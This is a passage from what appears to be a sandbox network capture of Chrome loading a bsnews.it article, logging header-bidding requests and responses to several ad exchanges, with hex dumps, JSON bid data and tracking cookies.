2024-03-28 08:51:19 UTC	1372	IN	HTTP/1.1 200 OK content-type: application/json; charset=UTF-8 date: Thu, 28 Mar 2024 08:51:19 GMT access-control-allow-credentials: true access-control-allow-origin: https://bsnews.it cache-control: no-cache,no-store pragma: no-cache set-cookie: pbw=%24b%3d16999%3b%24o%3d11100; expires=Fri, 28 Mar 2025 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: vs=281855=5910291; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: TestIfCookie=ok; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: TestIfCookieP=ok; expires=Fri, 28 Mar 2025 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: pid=7766515454130361199; expires=Fri, 28 Mar 2025 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1; expires=Fri, 29 Mar 2024 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; expires=Fri, 29 Mar 2024 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none transfer-encoding: chunked vary: Origin p3p: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" connection: close
2024-03-28 08:51:19 UTC	951	IN	Data Raw: 33 41 42 0d 0a 7b 22 63 70 6d 22 3a 30 2e 30 2c 22 63 75 72 72 65 6e 63 79 22 3a 22 55 53 44 22 2c 22 77 69 64 74 68 22 3a 30 2c 22 68 65 69 67 68 74 22 3a 30 2c 22 61 64 22 3a 6e 75 6c 6c 2c 22 61 64 55 72 6c 22 3a 6e 75 6c 6c 2c 22 64 65 61 6c 49 64 22 3a 6e 75 6c 6c 2c 22 74 74 6c 22 3a 30 2c 22 69 73 4e 65 74 43 70 6d 22 3a 66 61 6c 73 65 2c 22 63 72 65 61 74 69 76 65 49 64 22 3a 30 2c 22 63 53 79 6e 63 55 72 6c 22 3a 6e 75 6c 6c 2c 22 69 73 4e 6f 41 64 22 3a 74 72 75 65 2c 22 64 73 70 50 69 78 65 6c 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 73 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 75 73 65 72 6d 61 74 63 68 3f 73 3d 31 37 39 33 39 34 26 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 72 74 62 2d 63 73 79 6e 63 2e 73 Data Ascii: 3AB{"cpm":0.0,"currency":"USD","width":0,"height":0,"ad":null,"adUrl":null,"dealId":null,"ttl":0,"isNetCpm":false,"creativeId":0,"cSyncUrl":null,"isNoAd":true,"dspPixels":["https://ssum-sec.casalemedia.com/usermatch?s=179394&cb=https%3A%2F%2Frtb-csync.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	49997	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	577	OUT	POST /openrtb/pbjs?s=844716 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 2112 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	2112	OUT	Data Raw: 7b 22 69 64 22 3a 22 33 32 61 30 64 30 38 37 39 32 32 36 62 65 65 22 2c 22 73 69 74 65 22 3a 7b 22 72 65 66 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 62 73 6e 65 77 73 Data Ascii: {"id":"32a0d0879226bee","site":{"ref":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","page":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","domain":"bsnews
2024-03-28 08:51:19 UTC	895	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Type: application/json Content-Length: 37 Connection: close CF-Ray: 86b660adcef9083a-IAD CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://bsnews.it Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:19 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2Fgz7FdJebIX6CMZlag68Fnfm%2B1%2FXn5S8PdlHCMR521p4RD%2FX4PgTXmvKEU7Z2oiCnT%2BHg92v%2Bzo2BAmY%2Fwi612gZChFBkeHnITQVX5gdo09ZW2YEvex24zlJwoysQ5Xax4z%2B%2Fau"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:19 UTC	37	IN	Data Raw: 7b 22 69 64 22 3a 22 33 32 61 30 64 30 38 37 39 32 32 36 62 65 65 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"32a0d0879226bee","seatbid":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	50003	23.105.12.161	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	565	OUT	POST /prebid/v1 HTTP/1.1 Host: prg.smartadserver.com Connection: keep-alive Content-Length: 667 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	667	OUT	Data Raw: 7b 22 73 69 74 65 69 64 22 3a 32 38 31 38 35 35 2c 22 70 61 67 65 69 64 22 3a 31 30 33 39 33 31 38 2c 22 66 6f 72 6d 61 74 69 64 22 3a 38 38 32 30 30 2c 22 74 61 72 67 65 74 69 6e 67 22 3a 22 54 31 3b 53 4d 22 2c 22 63 6b 69 64 22 3a 30 2c 22 74 61 67 49 64 22 3a 22 61 64 75 32 22 2c 22 70 61 67 65 44 6f 6d 61 69 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 74 69 6d 65 6f 75 74 22 3a 33 30 30 30 2c 22 62 69 64 49 64 22 3a 22 34 36 39 64 38 63 30 62 63 64 33 30 30 35 66 22 2c 22 70 72 65 62 69 64 56 65 Data Ascii: {"siteid":281855,"pageid":1039318,"formatid":88200,"targeting":"T1;SM","ckid":0,"tagId":"adu2","pageDomain":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","timeout":3000,"bidId":"469d8c0bcd3005f","prebidVe
2024-03-28 08:51:19 UTC	1372	IN	HTTP/1.1 200 OK content-type: application/json; charset=UTF-8 date: Thu, 28 Mar 2024 08:51:18 GMT access-control-allow-credentials: true access-control-allow-origin: https://bsnews.it cache-control: no-cache,no-store pragma: no-cache set-cookie: pbw=%24b%3d16999%3b%24o%3d11100; expires=Fri, 28 Mar 2025 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: vs=281855=5910291; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: TestIfCookie=ok; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: TestIfCookieP=ok; expires=Fri, 28 Mar 2025 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: pid=3065827899329581907; expires=Fri, 28 Mar 2025 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794232570&o=1; expires=Fri, 29 Mar 2024 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none set-cookie: sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; expires=Fri, 29 Mar 2024 08:51:19 GMT; domain=.smartadserver.com; path=/; secure; samesite=none transfer-encoding: chunked vary: Origin p3p: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" connection: close
2024-03-28 08:51:19 UTC	1152	IN	Data Raw: 34 37 34 0d 0a 7b 22 63 70 6d 22 3a 30 2e 30 2c 22 63 75 72 72 65 6e 63 79 22 3a 22 55 53 44 22 2c 22 77 69 64 74 68 22 3a 30 2c 22 68 65 69 67 68 74 22 3a 30 2c 22 61 64 22 3a 6e 75 6c 6c 2c 22 61 64 55 72 6c 22 3a 6e 75 6c 6c 2c 22 64 65 61 6c 49 64 22 3a 6e 75 6c 6c 2c 22 74 74 6c 22 3a 30 2c 22 69 73 4e 65 74 43 70 6d 22 3a 66 61 6c 73 65 2c 22 63 72 65 61 74 69 76 65 49 64 22 3a 30 2c 22 63 53 79 6e 63 55 72 6c 22 3a 6e 75 6c 6c 2c 22 69 73 4e 6f 41 64 22 3a 74 72 75 65 2c 22 64 73 70 50 69 78 65 6c 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 63 31 2e 61 64 66 6f 72 6d 2e 6e 65 74 2f 73 65 72 76 69 6e 67 2f 63 6f 6f 6b 69 65 2f 6d 61 74 63 68 3f 70 61 72 74 79 3d 31 30 26 73 73 70 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 72 74 62 2d 63 73 79 Data Ascii: 474{"cpm":0.0,"currency":"USD","width":0,"height":0,"ad":null,"adUrl":null,"dealId":null,"ttl":0,"isNetCpm":false,"creativeId":0,"cSyncUrl":null,"isNoAd":true,"dspPixels":["https://c1.adform.net/serving/cookie/match?party=10&sspurl=https%3A%2F%2Frtb-csy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	49991	131.153.13.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	554	OUT	POST /a/c HTTP/1.1 Host: prebid.a-mo.net Connection: keep-alive Content-Length: 2511 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	2511	OUT	Data Raw: 7b 22 61 22 3a 22 37 30 37 32 38 33 37 35 2d 32 31 36 33 2d 34 31 37 32 2d 61 32 61 39 2d 65 63 64 61 64 31 39 63 32 63 36 64 22 2c 22 42 22 3a 30 2c 22 62 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 2c 22 62 72 63 22 3a 31 2c 22 62 77 63 22 3a 30 2c 22 74 72 63 22 3a 31 2c 22 74 6d 22 3a 66 61 6c 73 65 2c 22 56 22 3a 22 38 2e 33 33 2e 30 22 2c 22 76 67 22 3a 22 70 62 6a 73 22 2c 22 69 22 3a 22 59 6e 4e 75 5a 58 64 7a 4c 6d 6c 30 22 2c 22 6c 22 3a 7b 7d 2c 22 66 22 3a 30 2e 30 31 2c 22 63 76 22 3a 22 70 62 61 31 2e 33 2e 34 22 2c 22 73 74 22 3a 22 70 72 65 62 69 64 22 2c 22 68 22 3a 31 30 32 34 2c 22 77 22 3a 31 32 38 30 2c 22 67 73 22 3a 66 61 6c 73 65 2c 22 67 63 22 3a 22 22 2c 22 67 70 70 22 3a 7b 22 67 70 70 53 74 72 69 6e 67 22 3a 22 22 2c 22 61 70 70 6c Data Ascii: {"a":"70728375-2163-4172-a2a9-ecdad19c2c6d","B":0,"b":"bsnews.it","brc":1,"bwc":0,"trc":1,"tm":false,"V":"8.33.0","vg":"pbjs","i":"YnNuZXdzLml0","l":{},"f":0.01,"cv":"pba1.3.4","st":"prebid","h":1024,"w":1280,"gs":false,"gc":"","gpp":{"gppString":"","appl
2024-03-28 08:51:19 UTC	882	IN	HTTP/1.1 200 OK access-control-allow-credentials: true access-control-allow-origin: https://bsnews.it cache-control: max-age=0, private, must-revalidate content-length: 870 content-type: application/json; charset=utf-8 date: Thu, 28 Mar 2024 08:51:18 GMT server: envoy vary: origin, Accept-Encoding set-cookie: __amc=1_1711615879_1711615879; path=/; domain=prebid.a-mo.net; expires=Fri, 28 Mar 2025 08:51:19 GMT; max-age=31536000; secure; HttpOnly; SameSite=None set-cookie: amuid2=10735680-48cc-46aa-8323-b54c7155938b; path=/; domain=a-mo.net; expires=Fri, 28 Mar 2025 08:51:19 GMT; max-age=31536000; secure; HttpOnly; SameSite=None set-cookie: sd_amuid2=10735680-48cc-46aa-8323-b54c7155938b; path=/; domain=prebid.a-mo.net; expires=Fri, 28 Mar 2025 08:51:19 GMT; max-age=31536000; secure; HttpOnly; SameSite=None x-envoy-upstream-service-time: 5 connection: close
2024-03-28 08:51:19 UTC	870	IN	Data Raw: 7b 22 70 22 3a 7b 22 68 72 65 71 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 61 2d 6d 6f 2e 6e 65 74 2f 69 73 79 6e 3f 5f 5f 73 74 3d 69 66 72 61 6d 65 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 2d 2d 2d 5f 65 3d 43 70 73 42 53 67 6c 69 63 32 35 6c 64 33 4d 75 61 58 52 53 43 32 46 68 63 79 30 79 4e 7a 67 79 59 54 6b 78 57 67 68 77 59 6d 45 78 4c 6a 4d 75 4e 47 6f 4a 59 6e 4e 75 5a 58 64 7a 4c 6d 6c 30 2d 67 45 47 4f 43 34 7a 4d 79 34 77 36 41 49 42 69 41 4f 48 33 35 53 77 42 71 67 44 4f 75 6f 44 4a 44 63 77 4e 7a 49 34 4d 7a 63 31 4c 54 49 78 4e 6a 4d 74 4e 44 45 33 4d 69 31 68 4d 6d 45 35 4c 57 56 6a 5a 47 46 6b 4d 54 6c 6a 4d 6d 4d 32 5a 4b 6f 45 41 30 52 44 53 4c 49 46 41 31 56 54 52 4f Data Ascii: {"p":{"hreq":["https://sync.a-mo.net/isyn?__st=iframe&gdpr=0&gdpr_consent=&us_privacy=1---_e=CpsBSglic25ld3MuaXRSC2Fhcy0yNzgyYTkxWghwYmExLjMuNGoJYnNuZXdzLml0-gEGOC4zMy4w6AIBiAOH35SwBqgDOuoDJDcwNzI4Mzc1LTIxNjMtNDE3Mi1hMmE5LWVjZGFkMTljMmM2ZKoEA0RDSLIFA1VTRO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	49993	51.222.39.187	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	564	OUT	POST /prebid-request HTTP/1.1 Host: onetag-sys.com Connection: keep-alive Content-Length: 2663 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	2663	OUT	Data Raw: 7b 22 62 69 64 73 22 3a 5b 7b 22 61 64 55 6e 69 74 43 6f 64 65 22 3a 22 61 64 75 31 22 2c 22 62 69 64 49 64 22 3a 22 32 34 36 39 38 33 61 39 33 39 33 62 33 64 66 22 2c 22 62 69 64 64 65 72 52 65 71 75 65 73 74 49 64 22 3a 22 32 33 61 34 38 37 66 66 35 65 35 61 65 38 38 22 2c 22 67 70 69 64 22 3a 22 61 64 75 31 22 2c 22 70 75 62 49 64 22 3a 22 37 61 34 32 34 34 62 32 39 37 39 64 62 32 32 22 2c 22 73 69 7a 65 73 22 3a 5b 7b 22 77 69 64 74 68 22 3a 33 30 30 2c 22 68 65 69 67 68 74 22 3a 32 35 30 7d 2c 7b 22 77 69 64 74 68 22 3a 33 30 30 2c 22 68 65 69 67 68 74 22 3a 36 30 30 7d 2c 7b 22 77 69 64 74 68 22 3a 36 34 30 2c 22 68 65 69 67 68 74 22 3a 33 36 30 7d 2c 7b 22 77 69 64 74 68 22 3a 33 32 30 2c 22 68 65 69 67 68 74 22 3a 34 38 30 7d 2c 7b 22 77 69 64 74 Data Ascii: {"bids":[{"adUnitCode":"adu1","bidId":"246983a9393b3df","bidderRequestId":"23a487ff5e5ae88","gpid":"adu1","pubId":"7a4244b2979db22","sizes":[{"width":300,"height":250},{"width":300,"height":600},{"width":640,"height":360},{"width":320,"height":480},{"widt
2024-03-28 08:51:19 UTC	482	IN	HTTP/1.1 200 OK access-control-allow-origin: https://bsnews.it access-control-allow-headers: content-type, origin, referer, user-agent access-control-allow-credentials: true p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' cache-control: no-transform, no-cache content-type: application/json content-length: 15 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close
2024-03-28 08:51:19 UTC	15	IN	Data Raw: 7b 22 6e 6f 62 69 64 73 22 3a 74 72 75 65 7d Data Ascii: {"nobids":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	50001	34.235.214.237	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	588	OUT	POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1 Host: btlr.sharethrough.com Connection: keep-alive Content-Length: 1178 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1178	OUT	Data Raw: 7b 22 69 64 22 3a 22 32 36 36 31 34 32 39 30 2d 33 30 34 30 2d 34 39 63 34 2d 38 36 32 37 2d 39 39 61 63 66 35 34 35 34 65 62 37 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 74 6d 61 78 22 3a 33 30 30 30 2c 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 72 65 66 22 3a 6e 75 6c 6c 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 Data Ascii: {"id":"26614290-3040-49c4-8627-99acf5454eb7","at":1,"cur":["USD"],"tmax":3000,"site":{"domain":"bsnews.it","page":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","ref":null,"publisher":{"domain":"bsnews.it"
2024-03-28 08:51:19 UTC	492	IN	HTTP/1.1 200 OK set-cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c; Max-Age=2592000; Expires=Sat, 27 Apr 2024 08:51:19 GMT; Path=/; Domain=.sharethrough.com; Secure; SameSite=None content-type: application/json; charset=utf-8 cache-control: private, no-cache, no-store, must-revalidate content-length: 6512 x-openrtb-version: 2.5 access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true date: Thu, 28 Mar 2024 08:51:19 GMT connection: close
2024-03-28 08:51:19 UTC	6512	IN	Data Raw: 7b 22 69 64 22 3a 22 32 36 36 31 34 32 39 30 2d 33 30 34 30 2d 34 39 63 34 2d 38 36 32 37 2d 39 39 61 63 66 35 34 35 34 65 62 37 22 2c 22 62 69 64 69 64 22 3a 22 61 63 32 64 65 61 38 32 2d 34 39 37 31 2d 34 61 61 33 2d 62 62 32 37 2d 39 65 64 39 62 61 38 34 64 30 37 39 22 2c 22 63 75 72 22 3a 22 55 53 44 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 7b 22 73 65 61 74 22 3a 22 31 39 34 39 35 33 31 22 2c 22 62 69 64 22 3a 5b 7b 22 6c 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 2e 73 68 61 72 65 74 68 72 6f 75 67 68 2e 63 6f 6d 2f 62 75 74 6c 65 72 3f 74 79 70 65 3d 6c 6f 73 73 52 65 61 73 6f 6e 73 26 61 72 69 64 3d 61 63 32 64 65 61 38 32 2d 34 39 37 31 2d 34 61 61 33 2d 62 62 32 37 2d 39 65 64 39 62 61 38 34 64 30 37 39 26 63 6b 65 79 3d 35 33 30 33 39 35 39 31 Data Ascii: {"id":"26614290-3040-49c4-8627-99acf5454eb7","bidid":"ac2dea82-4971-4aa3-bb27-9ed9ba84d079","cur":"USD","seatbid":[{"seat":"1949531","bid":[{"lurl":"https://b.sharethrough.com/butler?type=lossReasons&arid=ac2dea82-4971-4aa3-bb27-9ed9ba84d079&ckey=53039591

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	49992	195.244.31.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	1065	OUT	POST /hb-api/prebid/v1?RefererUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&PageReferrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&CanonicalUrl=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F HTTP/1.1 Host: hb-api.omnitagjs.com Connection: keep-alive Content-Length: 1448 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1448	OUT	Data Raw: 7b 22 56 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 42 69 64 73 22 3a 7b 22 31 39 33 65 33 66 34 35 62 36 62 39 39 34 64 22 3a 7b 22 50 6c 61 63 65 6d 65 6e 74 49 44 22 3a 22 65 32 66 38 31 66 36 61 31 65 63 39 66 30 36 62 34 63 39 33 34 39 35 39 38 35 62 30 38 36 64 30 22 2c 22 57 69 64 74 68 22 3a 33 30 30 2c 22 48 65 69 67 68 74 22 3a 32 35 30 2c 22 41 76 61 69 6c 61 62 6c 65 53 69 7a 65 73 22 3a 22 33 30 30 78 32 35 30 2c 33 30 30 78 36 30 30 2c 36 34 30 78 33 36 30 2c 33 32 30 78 34 38 30 2c 37 32 30 78 37 32 30 2c 37 32 38 78 39 30 2c 39 38 30 78 39 30 2c 33 32 30 78 35 30 2c 33 32 30 78 31 30 30 22 2c 22 53 43 68 61 69 6e 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 63 6f 6d 70 6c 65 74 65 22 3a 31 2c 22 6e 6f 64 65 73 22 3a 5b 7b 22 61 73 69 Data Ascii: {"Version":"1.0","Bids":{"193e3f45b6b994d":{"PlacementID":"e2f81f6a1ec9f06b4c93495985b086d0","Width":300,"Height":250,"AvailableSizes":"300x250,300x600,640x360,320x480,720x720,728x90,980x90,320x50,320x100","SChain":{"ver":"1.0","complete":1,"nodes":[{"asi
2024-03-28 08:51:19 UTC	713	IN	HTTP/1.1 200 OK access-control-allow-credentials: true access-control-allow-headers: Accept-Encoding, Content-Type access-control-allow-methods: OPTIONS, POST access-control-allow-origin: https://bsnews.it access-control-max-age: 3600 cache-control: no-cache, no-store, must-revalidate content-type: application/json; charset=utf-8 expires: 0 p3p: CP="CAO PSA OUR" pragma: no-cache set-cookie: ayl_visitor=b6fcc9c759d2693b00a026e6708e7344; Path=/; Domain=omnitagjs.com; Max-Age=2592000; Secure; SameSite=None vary: Accept-Encoding x-content-type-options: nosniff date: Thu, 28 Mar 2024 08:51:19 GMT content-length: 358 x-envoy-upstream-service-time: 31 server: ayl-lb-usa02 connection: close
2024-03-28 08:51:19 UTC	358	IN	Data Raw: 5b 7b 22 50 72 69 63 65 22 3a 30 2c 22 41 74 74 65 6d 70 74 22 3a 22 35 32 36 63 30 33 32 39 34 61 30 61 63 36 62 66 31 39 38 63 34 65 36 63 66 35 36 61 32 34 37 62 22 2c 22 50 6c 61 63 65 6d 65 6e 74 22 3a 22 31 39 38 63 34 65 36 63 66 35 36 61 32 34 37 62 62 39 31 38 39 31 66 37 34 38 65 66 66 31 62 36 22 2c 22 43 72 65 61 74 69 76 65 49 44 22 3a 22 35 32 36 63 30 33 32 39 34 61 30 61 63 36 62 66 31 39 38 63 34 65 36 63 66 35 36 61 32 34 37 62 22 2c 22 42 69 64 49 44 22 3a 22 32 30 31 34 30 30 63 64 34 38 64 35 39 37 64 22 7d 2c 7b 22 50 72 69 63 65 22 3a 30 2c 22 41 74 74 65 6d 70 74 22 3a 22 33 65 31 65 62 36 34 34 39 31 35 31 38 36 62 33 65 32 66 38 31 66 36 61 31 65 63 39 66 30 36 62 22 2c 22 50 6c 61 63 65 6d 65 6e 74 22 3a 22 65 32 66 38 31 66 36 Data Ascii: 